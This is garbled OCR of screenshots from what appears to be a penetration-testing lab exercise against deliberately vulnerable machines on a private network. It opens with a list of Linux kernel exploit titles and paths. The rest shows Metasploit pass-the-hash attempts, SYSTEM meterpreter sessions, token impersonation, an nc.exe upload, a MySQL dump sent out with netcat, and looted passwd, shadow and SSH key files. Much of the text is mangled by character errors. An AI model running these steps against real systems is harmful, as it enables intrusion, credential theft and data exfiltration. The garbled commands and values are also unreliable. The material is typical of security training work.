*splice(2)' Double Lock Local Denial of Service
*sys_tiner create()’ Local Denial of Service
ALSA"snd-page-alloc Local Proc File Information Disclosure
AppleTalk ATalk_Sum_SKB Function Denial of Service
Audit Subsystens Local Denial of Service
Btrfs Cloned File Security Bypass
CIFs CHRoot Security Restriction Bypass
Cloned Process 'CLONE_PARENT' Local Origin Validation
Cryptoloop Information Disclosure
Extd ‘move extents' ioctl Privilege Escalation
File Lock Lease Local Denial of Service
INVALIDATE_INODE_PAGES2 Local Integer Overflow
TPTables Logging Rules Integer Underflow Remote (PoC)
1PV6 Local Denial of Service
Ipv6_SockGlue.c Null Pointer Dereference Denial of Service
KsM Local Denial of Service
KM ‘pit_ioport read()’ Local Denial of service
NETLINK FIB_LOOKUP Local Denial of Service
Proc dentry_unused Corruption Local Denial of Service
Ptrace Privilege Escalation
SCSI ProcFs Denial of Service
SET_MEMPOLICY Local Denial of Service
SMBFS CHRoot Security Restriction Bypass
SquashFs Double-Free Denial of Service
Sysctl Unregistration Local Denial of Service
Time Out Leases Printk Local Denial of Service
VFat Compat I0CTLS Local Denial of Service
epoll Nested Structures Local Denial of Service
fs/eventpoll.c epoll Data Structure File Descriptor Local Denial of Service
/3.10.x / 4.14.x (RedHat / Debian / Cent0S) (x64) - 'Mutagen Astronomy' Local Privilege Escalation
36.9/2.6.27.5 - Unix Sockets Local Panic (Denial of Service)
115 - BlueTooth Stack Privilege Escalation
14.6 - ‘procfs’ vemory Disclosure
16.18 - Netfilter NAT SNMP Module Remote Denial of Service
19' (bebian 4) - ‘udp_sendnsg' Local Privilege Escalation (3)
19 (x86/x64) - 'udp_sendnsg’ Local Privilege Escalation (2)
20.2 - 'IPV6_Getsockopt Sticky' Memory Leak
22 - *ftruncate()'/ open() ' Local Privilege Escalation
26.4 - SCTP Hemory Disclosure
28 - ‘fasync_helper()* Local Privilege Escalation
29 - 'exit notify()' Local Privilege Escalation
30.5 - 'cfg8e211' Remote Denial of Service
31-rca - 'nfs4 proc lock()' Denial of Service
31-rc7 - 'AF_IRDA' 29-Byte Stack Disclosure (2)
34 (Ubuntu 18.10 x86) - 'CAP_SYS ADMIN' Local Privilege Escalation (1)
34 (Ubuntu 16.10 xB6/x64) - 'CAP_SYS ADMIN' Local Privilege Escalation
36-rcl (Ubuntu 10.04 / 2.6.32) - 'CAN BCH' Local Privilege Escalation
36-rca-git2 (x86-64) - 'ia32syscall' Emulation Privilege Escalation
36-rc6 (RedHat / Ubuntu 10.64) - *pktcdvd’ Memory Disclosure
36.2 (Ubuntu 10.04) - ‘Half-Nelson.c' Econet Privilege Escalation
37-rc2 - 'ACPI custom method’ Local Privilege Escalation
37-rc2 - TCP_MAXSES panic (Denial of service) (2)
7-rc3 (Slackware 9.1 / Debian 3.6) - 'sys choun()' Group Ownership Alteration Privilege Escalation
/MIPS 36 - 'NetUSB' Remote Code Execution
Pax Patch - Denial of service
Reiserfs ( 34-rc3 / RedHat / Ubuntu 9.10) - 'xattr' Local Privilege Escalation exploits/Linux/local/12136. py
samba 2.2.8 ( / Debian / Mandrake) - Share Privilege Escalation exploits/Linux/local/23674. txt

exploits/
exploits/
exploits/
exploits/
exploits/
exploits/
exploits/
exploits/
exploits/
exploits/
exploits/
exploits/
exploits/
exploits/
exploits/
exploits/
exploits/
exploits/
exploits/
exploits/
exploits/
exploits/
exploits/
exploits/
exploits/
exploits/
exploits/
exploits/
exploits/
exploits/
exploits/
exploits/
exploits/
exploits/
exploits/
exploits/
exploits/
exploits/
exploits/
exploits/
exploits/
exploits/
exploits/
exploits/
exploits/
exploits/
exploits/
exploits/
exploits/
exploits/
exploits/
exploits/
exploits/

/local/32829.¢
/local/32805. ¢
/dos/33015..
/d0s/1657.asm
/local/30605. ¢
/005/29826. txt
/dos/29683. txt
/local/34001.c
/local/27769. txt
/dos/32815. ¢
/local/25707. txt
/local/33395 txt
/d0s/26749. ¢
/dos/26811.¢
/dos/24696. ¢
/005/26382.
/dos/29781.¢
/d0s/35820. ¢
/d0s/33592. txi
/dos/29916. ¢
7005/27925. txt
/local/30604. ¢
/d05/26248..h
/dos/27031.c
/local/27766. txt
/005/28895. txt
/dos/26489. ¢
/dos /26648
/dos/30080.

/dos /35403
/d0s/35404
/local/ass1s.c
/dos/7091.c
/local/a756.¢
/local/9363.c
/005/1880.C
/local/9575.¢
/local/9574. txt
/local/a172.c
/local/6851.c
/local/7618.¢
/local/33523.¢
/local/8369. sh
/dos/9442.¢

/dos /10202
/local/9543.¢
x86/local/15916.c
7local/15944.c
/local/14814.¢
x86-64/local/15023.¢
/local/15150. ¢
/local/17787.c
/local/15774.c
exploits/Linux/dos/16952.c
exploits/Linux/local/718.c
exploits/nultiple/remote/38454.py
exploits/Linux/dos/24078.c

x
x
4

shellcodes: No Result
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Terminal
File Edit

Unsetting SMBPass.

nsf5 exploit( ) > set SMBPass aad3b43sbs140deeaad3bd3sbs14dee: FC525¢I683¢87e067095ba2ddCo71889

SHBPass => aad3b435b51404eeaad3ba3sbs140dee : fc525cI683e81067095ba2ddc071889
Dsf5 exploit( ) > run

[*] Started reverse TCP handler on 192.168.18.66:4444
[*] 192.168.18.67:445 - Connecting to the server.
[*] 192.168.18.67:445 - Authenticating to 192.168.18.67:445 as user 'Adninistrator’
192.168.18.67:445 - Exploit failed: RubySMB: :Error::UnexpectedStatusCode STATUS USER SESSION DELETED
[+] Exploit completed, but no session was created
nsf5 exploit( ) > unset SMBPass
Unsetting SHBPass. ..
nsf5 exploit( ) > set SMBPass fc525c9683e81e067095ba2ddca71883
SMBPass => fc525c9683e87e067095ba2ddco71889
nsfs exploit( ) > run

[*] Started reverse TcP handler on 192.168.18.66:4444
[*] 192.168.18.67:445 - Connecting to the server.
[*] 192.168.18.67:445 - Authenticating to 192.168.18.67:445 as user 'Administrator’.
192.168.18.67:445 - Exploit failed: RubySMB::Error::UnexpectedStatusCode STATUS USER SESSION DELETED
[*] Exploit completed, but no session was created
nsfs exploit( ) > back
nsfs > getuid
Unknown conmand: getuid
nsfs > sessions

Active sessions

Type Information Connection

shell cmd/unix 192.168.18.66:41105 -> 192.168.18.52:6200 (192.168.18.52)
shell unknown SSH root:owaspbwa (192.168.18.55:22) 192.168.18.66:44651 -> 192.168.18.55:22 (192.168.18.55)
meterpreter x86/windows NT AUTHORITY\SYSTEM @ IEWIN7 192.168.18.66:4444 -> 192.168.18.67:49319 (192.168.18.67)

> sessions -1 4
Starting interaction with 4...

meterpreter > getuid
Server usernane: NT AUTHORITY\SYSTEM
meterpreter > getsystem

_got system via technique 1 (Named Pipe Impersonation (In Memory/Admin))
neterpreter > use incognito
Loading extension incognito...Success.
neterpreter > List_tokens

L]
L
@
o
&
L]
| |

Delegation Tokens Available

TEWIN7\IEUSET
TEWIN7\sshd_server

NT AUTHORITY\LOCAL SERVICE
NT AUTHORITY\NETWORK SERVICE
NT AUTHORITY\SYSTEN

Inpersonation Tokens Available
NT AUTHORITY\ANONYHOUS LOGON

neterpreter > impersonate_token "NT AUTHORITY\\SYSTEN"
[+] Delegation token available

[+] Successfully inpersonated user NT AUTHORITY\SYSTEM
peterpreter > |
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7usr/share/icons/Vibrancy-Kali/ninetypes/16/libreoffice-fornula.svg

/usr/share/icons/Vibrancy-Kali/ninetypes/16/application-vnd.oasis. opendocument .
7usr/share/icons/Vibrancy-Kali/minetypes/16/application-vnd.oasis. opendocunent .

/usr/share/icons/Vibrancy-Kali/ninetypes/16/1ibreoffice-oasis-fornula.svg
7usr/share/icons/Vibrancy-Kali/minetypes/32/Uibreoffice- fornula.svg

/usr/share/icons/Vibrancy-Kali/ninetypes/32/application-vnd.oasis. opendocument
/usr/share/icons/Vibrancy-Kali/ninetypes/32/application-vnd.oasis.opendocunent

7usr/share/icons/Vibrancy-Kali/ninetypes/32/ibreoffice-oasis-fornula. svg
/usr/share/icons/Vibrancy-Kali/ninetypes/96/1ibreoffice-fornula.svg
/usr/share/icons/Vibrancy-Kali/ninetypes/96/application-vnd.oasis.opendocument
/usr/share/icons/Vibrancy-Kali/ninetypes/96/application-vnd.oasis.opendocument
/usr/share/icons/Vibrancy-Kali/ninetypes/96/libreof fice-oasis-fornula.svg
7usr/share/icons/Vibrancy-Kali/minetypes/22/\ibreoffice-fornula. svg

/usr/share/icons/Vibrancy-Kali/ninetypes/22/application-vnd.oas1s.opendocunent .

/usr/share/icons/Vibrancy-Kali/minetypes/22/application-vnd.oasis.opendocunent
/usr/share/icons/Vibrancy-Kali/ninetypes/22/libreoffice-oasis-fornula.svg
/usr/share/icons/Vibrancy-Kali/minetypes/24/libreoffice- fornula.svg

/usr/share/icons/Vibrancy-Kali/ninetypes/24/application-vnd.oasis. opendocument
/usr/share/icons/Vibrancy-Kali/ninetypes/24/application-vnd.oasis. opendocunent .

/usr/share/icons/Vibrancy-Kali/minetypes/24/ibreof fice-oasis-fornula.svg
/usr/share/icons/Vibrancy-Kali/ninetypes/64/libreoffice-fornula.svg
/usr/share/icons/Vibrancy-Kali/ninetypes/64/application-vnd.oas is.opendocunent

/usr/share/icons/Vibrancy-Kali/ninetypes/64/application-vnd.oasis. opendocunent .

/usr/share/icons/Vibrancy-Kali/ninetypes/64/libreof fice-oasis-fornula.svg
/usr/share/icons/Vibrancy-Kali/minetypes/48/libreoffice-fornula.svg
/usr/share/icons/Vibrancy-Kali/ninetypes/d8/application-vnd.oasis.opendocument
/usr/share/icons/Vibrancy-Kali/minetypes/48/application-vnd.oasis.opendocunent
/usr/share/icons/Vibrancy-Kali/ninetypes/48/ibreoffice-oasis-fornula.svg
/usr/share/icons/Vibrancy-Kali/ninetypes/256/ibreof fice-fornula.svg

Sat21:31

root@osboxes:

fornula.svg
formula- template

formula. svg
fornula template

formula.svg
formula- template

fornula.svg
formula- template

formula. svg
fornula-template

formula.svg
formula- template

formula. svg
formula- template

/usr/share/icons/Vibrancy-Kali/ninetypes/256/application-vnd.oasis.opendocunent . formula. svg
/usr/share/icons/Vibrancy-Kali/ninetypes/256/application-vnd.oasis.opendocunent. fornula-tenplate.svg

/usr/share/icons /Vibrancy-Kali/ninetypes/256/Libreof fice-oasis-fornula.svg
/usr/share/whatweb/plugins/kontaktformular. rb
/usr/lib/python2.7/dist-packages/openpyxl/formula
/usr/Uib/python2.7/dist-packages/openpyxl/utils/fornulas. py

root@osboxes:/# s ~la /var/ww/htal

total 19688

druxr-xr-x 7 root root 4096

druxr-xr-x 3 root root 4096

drwxr-xr-x 2 root . root 4096

druxr-xr-x 13 www-data we-data 12288

root root 5010042 DNAPP_intro.pdf

root  root 15058349 bNAPP_2ip

root - root 325 Clientaccesspolicy.xal
root - root 200 crossdomain. xnl

root  root 096

root root 4096

root  root 10701 index.htmt

root  root 612 index.nginx-debian.htnl
oot root 2589 INSTALL. txt

www-data wew-data 4096

root  root 2491 README . txt

rwereer root  root 8271 release notes. txt
-ru-r--r-- 1 root  root 172 test.html
root@osboxes:/# s -la /opt
total 20

drxr-xr- root root 4096 Dec
drxr-xr root root 4896 Dec
druxr-xr- root root 4096 Dec 6 12:49
drxr-xr- root root 4096 Nov 28 12:31
druxr-xr-x 7 root root 4896 Sep 3 2019
[00t@osboxes:/# 1s ~la /home/+/Docunents|

-rwereer
rwereer
druxr-xe-x 1
drxr-xr-x
rwereer
rwereer
drxr-xr-x

12:48

6
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100666/ rw-r-ru- 1140736 2609-07-13 wscui. cpl
100666/ rw-rw-ru- 21504 2018-01-02 wsdchngr.dLL
100666/ rw- rw-ru- 1294336 2009-07-13 wsecedit.dll
100666/ rw-rw-ru- 27136 2009-07-13 wsepno.dll
100666/ r-rw-ru- 36352 2018-01-02 ¢ wshbth. 41l
100666/ rw-ru-ru- 25600 2009-07-13 wsheon. dlL
100666/ rw-rw-ru- 15360 2009-07-13 wshelper.dll
100666/ rw-ru-ru- 80896 2009-07-13 wshext.dll
160666/ rw-ru-ru- 10752 2009-07-13 wships.dlL
100666/ rw-rw-ru- 11264 2018-01-02 : wshirda.dll
100666/ rw-ru-ru- 10752 2009-07-13 wshnetbs .dLL
100666/ rw-rw-ru- 121856 2018-01-02 wshom. ocx
100666/ rw- ru- ru- 13824 2699-07-13 wshaos . d1L
100666/ rw-ru-ru- 14848 2018-01-02 wshrn. 411
100666/ - rw-ru- 4675 2009-07-13 wsmanconfig_schema. xml
100666/ rw-ru-ru- 10240 2618-01-02 wsnplpxy.dil
100777/ rwxrwxrux 12288 2018-01-02 wsmprovhost. exe
100666/ rw-rw-ru- 51712 2018-01-02 wsnmp32.dlL
100666/ rw-ru-ru- 15360 2009-07-13 wsock32.dlL
100777/ rwxrwxrux 254976 2018-01-02 wsancons . exe
100666/ rw-r-ru- 40448 2018-01-02 : wtsapi32.dll
100666/ rw- rw-rw- 11776 2018-01-02 wu_upgrade.ps.dll
100666/ rw-rw-ru- 573440 2018-01-02 wuapi. il
100777/ rwxruxrux 35328 2018-01-02 wuapp. exe
100777/ rwxrwxrux 136192 2018-01-02 wuauclt.exe
100666/ rw-ru-ru- 2092032 2018-01-02 wuaueng 411
100666/ rw-rw-ru- 2953216 2018-01-02 wucltux.dll
100666/ rw-ru-ru- 93696 2018-01-02 wudriver.dll
100666/ rw-rw-ru- 30208 2018-01-02 wups. dLL
100666/ rv-rw-ru- 35840 2018-01-02 wups2..d1l
100777/ rwxrwxrux 314880 2018-01-02 wusa. exe
100666/ rw-rw-ru- 174080 2018-01-02 wuweby . d1L
100666/ rw-rw-ru- 444928 2018-01-02 wve.dll
100666/ rw-rw-ru- 42496 2009-07-13 wancfg.dll
100666/ rw-rw-rw- 196608 2018-01-02 wwanconn.dlL
100666/ rw-ru-ru- 13312 2009-07-13 wwaninst dll
100666/ rw-rw-ru- 674304 2009-07-13 wwanmm. 411
100666/ rw-rw-ru- 40950 2018-01-02 wwanprotdin. il
100666/ rw-ru-ru- 185344 2018-01-02 wwansve.dlL
100666/ - rw-ru- 27648 2009-07-13 : wwapi. dll
100666/ rw-ru-ru- 80896 2009-07-13 : wzedlg.dil
100777/ rwxrwxrux 36864 2009-07-13 xcopy.exe
100666/ rw-rw-ru- 54784 2009-07-13 amlfilter.dll
100666/ rw-rw-ru- 180224 2018-01-02 amlUite.dll
100666/ - rw- rw- 17920 2009-07-13 1 xmiprovi.dll
100666/ rw-ru-ru- 47616 2009-07-13 19:44: xolehlp.dll
100777/ rwxrwxrux 3405312 2009-07-13 xpsrchvi. exe
100666/ rw-ru-ru- 76060 2699-06-10 xpsrchvw. xml
100666/ rw-rw-ru- 1712640 2018-01-02 xpsservices.dll
100666/ rw-rw-rw- 930816 2009-07-13 xpssves.dil
100666/ rw-rw-ru- 4041 2009-06-10 xwizard.dtd
100777/ rwxrwxrux 41472 2009-07-13 xwizard. exe
100666/ rw-rw-ru- 354816 2009-07-13 xwizards.dll
100666/ rw-rw-ru- 85504 2009-07-13 xureg.dll
100666/ rw-rw-rw- 158208 2009-67-13 1 xwtpdui.dll
100666/ rw-r-ru- 107520 2609-07-13 xwtpu32.dll
40777/ rxruxrwx 4096 2009-07-13 zh-cN

48777/ rxruxrix 4096 2609-07-13 zh-HK

40777/ rwxruxrwx 4096 2009-07-13 zh-Tw
100666/ rw-rw-rw- 327680 2018-01-02 zipflar.dit
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root@osboxes: ~floot
File _Edit arch Terminal Help
~# cd /root/loot/
~/loot# python3 -m http.server 8068
Serving HTTP on 6.0.9.8 port 8088 (http://0.9.0.0:8000/)
192.168.18.66 - - [06/Dec/2025 22:27:32] "GET / HTTP/1
192.168.18.66 - - [06/Dec/2025 22:27:36] "GET / HTTP/1
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7# 1s /root/loot/
/# curl -0 http://192.168.18.66:8000/vaccine_fornula.docx
% Total % Received % Xferd Average Speed Time  Time  Time Current
Dload Upload Total Spent  Left speed
100 469 100 469 © 0 229 o : asek

1
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neterpreter > download C:\Users\Adninistrator\Docunents\vaccine_formula.docx /root/ 100t/
[-] stdapi fs stat: Operation failed: The system cannot find the file specified
neterpreter > upload /usr/share/windows-binaries/nc.exe C:\Tenp
uploading : /usr/share/windous-binaries/nc.exe —> C:Temp
Uploaded 5500 KiB of 55.00 KiB (100.0%): /usr/share/windows-binaries/nc.exe > C:Temp
uploaded —: /usr/share/windous-binaries/nc.exe -> C:Temp
neterpreter > ||
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msf5 auxiliary( ) > sessions -1 7
[*] starting interaction with 7.

stdin: is not a tty
Welcone to the OWASP Broken Web Apps Vi

111 This WM has many serious security issues. We strongly recommend that you run
it only on the "host only" or "NAT" network in the VW settings !!!

can access the web apps at http://192.168.18.55/

You can administer / configure this machine through the console here, by SsHing
t0 192.168.18.55, via Samba at \\192.168.18.55\, or via phpmyadnin at
http://192.168.18.55/phpmyadnin

In all these cases, you can use username "root” and password "owaspbwa”

whoani.
root
sessions -1 7

Usage: sessions <id>

Interact with a different session Id
This command only accepts one positive numeric argument
This works the same as calling this from the MSF shell: sessions -i <session id>

L8
-bash: Line 3:
command not found
mysqldunp -u root -powaspbwa mutillidae > /tmp/db_dump. sql
s -lh /tmp/db.sql
Us: cannot access /tnp/db.sql: No such file or directory
s -1h /tnp/db_dunp.sql
ru-r--r-- 1 root root 46K 2025-12-06 22:46 /tmp/db_dump.sql

sat22:48

Terminal
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# Us /root/loot/
/# curl -0 http://192.168.18.66:8000/vaccine_fornula.docx
% Total % Received % Xferd Average Speed Time  Time  Time Current
Dload Upload Total spent  Left speed
100 469 100 463 0 B 229k 0 - Cioeceiooioo assk
:/# nc -Lunp 4444 > db_dump. sql
Listening on [any] 4444
connect to [192 im« 18.66] from (UNKNOWN) [192.168.18.55] 51706
/#
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Terminal
File Edt View Search Termin
You can access the web apps at http://192.168.18.55/

You can adninister / configure this machine through the console here, by SSHing
0 192.168.18.55, via Samba at \\192.168.18.55\, or via phpmyadmin at
http://192.168.18.55/phpnyadnin

In all these cases, you can use username "root” and password "owaspbwa”

whoani
root
sessions -1 7

Usage: sessions <id>

Interact with a different session I
This command only accepts one positive numeric argument
This works the same as calling this from the MSF shell: sessions -i <session id>

~LB

bash: line 3

command not found

mysqldump -u root -powaspbwa mutillidae > /tmp/db_dump.sql
s -1h /tmp/db.sql
1s: cannot access /tmp/db.sql: No such file or directory
s -1h /tmp/db_dump. sql

w-r--r-- 1 root root 40K 2025-12-86 22:46 /tmp/db_dump.sql
sessions -1 7
Usage: sessions <id>

Interact with a different session I
This command only accepts one positive numeric argument
This works the same as calling this from the MSF shell: sessions -i <session id>

~z
Background session 77 [y/N] y
msf5 auxiliary( ) > sessions -i 7
[*] Starting interaction with 7

nc 192.168.18.66 4444 < /tnp/db_dunp.sql
echo " [default]
aws_access key_id = AKIATOSFODNNTEXAMPLE
aws_secret_access_key = wJalrXULNFENI/KTMDENG/bPXRTLCY" > /tmp/aws_creds. txt

Session manipulation failed: Unmatched double quote: “echo \"(default]” [*/usr/Lib/ruby/2.5.0/shellwords. rb:84:in "block in shellsplit'*, */usr/Lib/ruby/2.5.8/shellwords. rb:82:in “scan'", */usr/Lib/ruby]
/2.5.6/shellwords. rb:82:1n shellsplit'*, */usr/share/netasploit-franework/lib/msf/base/sessions/conmand shell.rb:587:in “run single’*, */usr/share/netasploit-franework/Lib/msf/base/sessions/connand shell.r]
b:761:in °_interact strean’", "/usr/sharé/netasploit-framework/Lib/msf/base/sessions/connand shell.rb:745:in °_ interact’*, */usr/share/netasploit-franework/Lib/rex/ui/interactive. rb:51:in "interact'™, */use
/share/metasploit- framework/lib/msf/ui/console/conmand_dispatcher/core.rb:1364:in " cnd_sessions'*, */usr/share/netasploit- franework/Lib/rex/ui/text/dispatcher_shell.rb:523:in "run_command'", */usr/share/me
asploit-framework/Uib/rex/ui/text/dispatcher_shell.rb:474:1n 'block in run_single'", "/usr/share/metasploit-framework/Lib,/rex/ui/text/dispatcher_shell.rb:468:in "each'*, "/usr/share/netasploit-franework/Lib
Jrex/ui/text/dispatcher_shell.rb:468:in "run single'*, "/usr/share/metasploit-framework/Lib/rex/ui/text/shell. rb:151:in "run'", "/usr/share/metasploit- franework/Lib/metasploit/f ranework/comand/console. rb:4
8:1n “start'", "/usr/share/metasploit- franework/lib/netasploit/franework/connand/base. rb:82:in ~start'*, */usr/bin/nsfconsole:49:1n "<nain>'"]
nsf5 auxiliary( ) > aws_access_key_id = AKTATOSFODNNTEXAMPLE

Unknown command: aws_access_key_ id
nsfs auxiliary( ) > aws_secret_access key = WIaLrXULNFEM/KTHDENG/bPXRFLCY" > /tmp/aws_Creds. txt

Parse error: Unnatched double quote: "aws_secret access_key = wlalrXUtnFENI/KTHDENG/bPXRTICY\" > /tmp/aws_creds. txt
nsfs auxiliary( ) > sessions -1 7
[+] Starting interaction with 7

echo [default]

aws_access key id = AKIATOSFODNNEXAMPLE

aws_secret_access_key = wJalrXUEnFEMI/KTMDENG/bPXRTLCY" > /tmp/aws_creds. txt
1s 7tmp
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168.18. Linux. enum. network text/plain DNS config /root/.msf4/100t/20251128161232 default 192 52_Linux. enum. netwo_328615. txt
168.18. Uinux_ enum. network text/plain SSHD config /root/.mst4/100t/20251128161232_default_192 52_Uinux. enum. netwo_627794 . txt
‘168,15, inux. enun. network text/plain Host file /root/.msf4/100t/20251128161232 default 192.168.18.52_Linux.enun.netwo_960555. txt
168.18. Uinux. enum. network text/plain SsH keys /root/.msf4/100t/20251128161232_default 192 52 Uinux. enum. netwo 838855, txt
168.18. Uinux. enum. network text/plain Active connections /ro0t/.nst4/100t/20251128161232_default_192.168.18.52_Linux.enum.netwo_098641. txt
168.18. inux. enum. network text/plain Wireless information /root/ msf4/100t/20251128161233 default 192 52_Linux.enun.netwo_133252. txt
168.18. Uinux. enum. network text/plain Listening ports /root/.mst4/100t/20251128161233_default_192 52_Linux. enum. netwo_564896 . txt
168.18. inux.enum. network text/plain If-Up/If-Down /root/.msf4/100t/20251128161233 default 192.168.18.52_Linux.enun.netwo_304202. txt
168.18. Uinux.version Uinux_info.txt text/plain Linux Version /root/.msf4/100t/20251128161334_default 192 52 Uinux.version 124042, txt
168.18. Uinux.enun. systen text/plain Linux version /root/.mst4/100t/20251128161356_default_192.168.18.52_Linux.enum. syste_309535. txt
168.18. inux.enun. conf my.cnf text/plain /root/.msf4/100t/20251266203128 default 192 52 Linux.enun.conf 521639 txt
168.18. Uinux. enun. systen text/plain Disk info /root/.mst4/100t/20251128161356_default 192 52_Uinux.enun. syste_949762.txt
‘168,15, Uinux.enun. systen text/plain Logfiles /root/.nsf4/l00t/20251128161356_default 192.168.18.52_Linux.enun. syste 375303.txt
168.18. Uinux. enum. systen text/plain Setuid/setgid files /root/.msf4/100t/20251128161356_default 192 52_Uinux.enun. syste 758184 . txt
168.18. inux.passwd passwd. tx text/plain Linux Passwd File /root/.msf4/100t/20251128161944_default_192.168.18.52_Linux.passwd_474659.txt
168.18. Uinux. shadow shadow. tx text/plain Linux Password Shadow File /root/ msf4/100t/20251128161945 default 192 52_Uinux. shadow 817283. txt
168.18. Uinux.passwd.history opasswd. tx text/plain Linux Passwd History File /root/.nst4/100t/20251128161945_default_192 52_Uinux.passwd.his_533679.txt
168.18. inux_hashes unshadowed_passwd.pud text/plain Linux Unshadowed Password File /root/.msf4/l00t/20251128161346 default 192.168.18.52 Linux.hashes 362038.txt
168.18. Uinux. enum. conf apache2. conf text/plain /root/.nst4/100t/20251206203128 default 192 52 Uinux.enum. conf 811673.txt
168.18. Uinux. enum. conf ufw.conf text/plain /root/.mst4/100t/20251206203129_default_192.168.18.52_Linux.enum.conf_774597. txt
168.18. inux.enun. conf sysctl.conf text/plain /root/ msf4/100t/20251266203129 default 192 52 Linux.enun. conf 559248 txt
168.18. Uinux. enum. conf shells text/plain /root/.mst4/100t/20251206203129_default_192 52_Uinux.enun. conf_803414. txt
168.18. Uinux. enum. conf access. conf text/plain /root/.msf4/100t/20251206203130 default 192.168.18.52_Linux.enun.conf 407425. txt
168.18. Uinux. enum. conf rpc text/plain /root/.nst4/100t/20251206203130 default 192 52 Uinux.enum. conf 139989 txt
168.18. Uinux. enum. conf debian. cnf text/plain /root/.nst4/100t/20251206203131 default_192.168.18.52_Linux.enum.conf_388658. txt
168.18. inux.enun. conf logrotate. conf text/plain /root/ msf4/100t/20251266203131 default 192 52 Linux.enun. conf 690678 txt
168.18. Uinux. enum. conf smb. conf text/plain /root/.mst4/100t/20251206203132_default_192 52_Uinux.enun. conf_887884. txt
168.18. Uinux. enum. conf dap. conf text/plain /root/.msf4/100t/20251266203132 default 192.168.18.52_Linux.enun.conf 060565. txt
168.18. Uinux. enum. conf sysctl.cont text/plain /root/.nst4/100t/20251206203133 default 192 52 Uinux.enum. conf 037928 txt
168.18. Uinux. enum. users text/plain MysoL history for msfadmin /ro0t/.msT4/100t/20251206203159_default_192.168.18.52_Linux.enum.users_534499. txt
168.18. inux.enum. users text/plain bash history for postgres /root/ msf4/100t/20251266203203 default 192 52 Linux.enun.users 584839 txt
168.18. Uinux. enum. users text/plain bash history for user 7root/.mst4/100t/20251206203208_default_192 52_Uinux.enun. users_884612.txt
168.18. Uinux.enum. users text/plain Last logs /root/.msf4/100t/20251266203215 default 192.168.18.52_Linux.enun.users 778829, txt
168.18. Uinux. enum. users text/plain  Sudoers /root/.msf4/100t/20251206203215_default 192 52 Uinux. enum. users_377337.txt
168.18. Uinux. enum. network text/plain Network config /root/.nst4/100t/20251206203220_default_192.168.18.52_Linux.enum.netwo_725159. txt
168.18. Uinux. enum. network text/plain Route table /root/ msf4/100t/20251266203220 default 192 52 Uinux. enum. netwo 044044 . txt
168.18. Uinux. enum. network text/plain Firewall config /root/.mst4/100t/20251206203220_default_192 52_Uinux. enum. netwo_009519. txt
168.18. Uinux. enum. network text/plain DNS config /root/.msf4/100t/20251266203220 default 192.168.18.52_Linux.enun.netwo_283140. txt
168.18. Uinux. enum. network text/plain SSHD config /root/.msf4/100t/20251206203220_default 192 52 Uinux. enum. netwo 550998 . txt
168.18. Uinux. enum. network text/plain Host file /root/.nst4/100t/20251206203220_default_192.168.18.52_Linux.enun.netwo_597910. txt
168.18. Uinux. enum. network text/plain SsH keys /root/ msf4/100t/20251266203220 default 192 52 Uinux.enun. netwo 320789 txt
168.18. Uinux. enum. network text/plain Active connections /root/.mst4/100t/20251206203220_default_192 52_Uinux. enum. netwo_006210. txt
168.18. Uinux. enum. network text/plain Wireless infornation /root/.msf4/100t/20251266203220 default 192.168.18.52_Linux.enun.netwo_164077. txt
168.18. Uinux. enum. network text/plain Listening ports /root/.msf4/100t/20251206203220_default 192 52 Uinux.enum. netwo 158916 txt
168.18. Uinux. enum. network text/plain If-Up/If-Down /root/.mst4/100t/20251206203220_default_192.168.18.52_Linux.enun.netwo_113053. txt
168.18. Uinux.version Uinux_info. txt text/plain Linux Version /root/ msf4/100t/20251266203222 default 192 52 Linux.version_245706. txt
168.18. Uinux. enum. systen text/plain Linux version /root/.mst4/100t/20251206203244_default_192 52_Uinux.enun. syste_630860. txt
168.18. Linux.enun. systen text/plain User accounts /root/.msf4/100t/20251206203244 default 192.168.18.52_Linux.enun. syste 458324.txt
168.18. Uinux. enum. systen text/plain Installed Packages /root/.nst4/100t/20251206203244 default 192 52 Uinux.enum. syste 417502.txt
168.18. inux. enum. system text/plain Running Services 7root/.msf4/1001/20251206203244_default_192.168.18.52_Linux. enun. syste_380481. txt
168.18. Linux.enun. systen text/plain Cron jobs /root/ msf4/100t/20251266203244 default 192 52 Linux.enun.syste 212520 txt
168.18. Uinux. enun. system text/plain Disk info /root/.mst4/100t/20251206203244_default_192 52_Uinux.enun. syste_046275.txt

192.168.15. Linux.enun. systen text/plain Logfiles /root/.nsf4/100t/20251206203244_default 192.168.18.52_Linux.enun. syste 538834, txt

192.168.18. Uinux. enum. system text/plain Setuid/setgid files /root/.msf4/100t/20251266203244_default 192 52_Uinux.enun. syste_683325. txt
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nsfS > exit
You have active sessions open, to exit anyway type "exit -y
msfs > s /root/pentest
exec: 1s /root/pentest

hosts report.txt IPs.txt pass.txt services report.txt userpass.txt users.txt vulns report.txt
nsts > |
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Footoshoxes:/# nano /root/pentest/timeline. txt
Use "fg" to return to nano

[71+  Stopped nano /root/pentest/timeline. txt

FontGosbokes:/# nano /root/pentest/tineline. txt
rootgosboxes:/#
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General
Name: R&D AD
Operating System: Windows Server 2012 (64-bit)
(1] system
Base Memory: 5363 MB
Processors: 6

Boot Order:  Floppy, Optical, Hard Disk
Acceleration:  Nested Paging, Hyper-V Paravirtualization

W Display
Video Memory: 128 MB
Graphics Controller: VBoxSVGA
Remote Desktop Server: Disabled
Recording: Disabled
2] storage

Controller: SATA

SATAPort0:  Windows Server 2012 R2.vhd (Normal, 40.00 GB)

SATAPort 1:  [Optical Drive] Empty
|» Audio

Host Driver: Default

Controller:  Intel HD Audio

& Network

Adapter 1: Intel PRO/1000 MT Desktop (Bridged Adapter, Intel(R) Ethernet Connection (2) 1219-LM)

o usB

USB Controller:  xHCI
Device Filters: 0 (0 active)
(7] Shared folders

None

& Description

None
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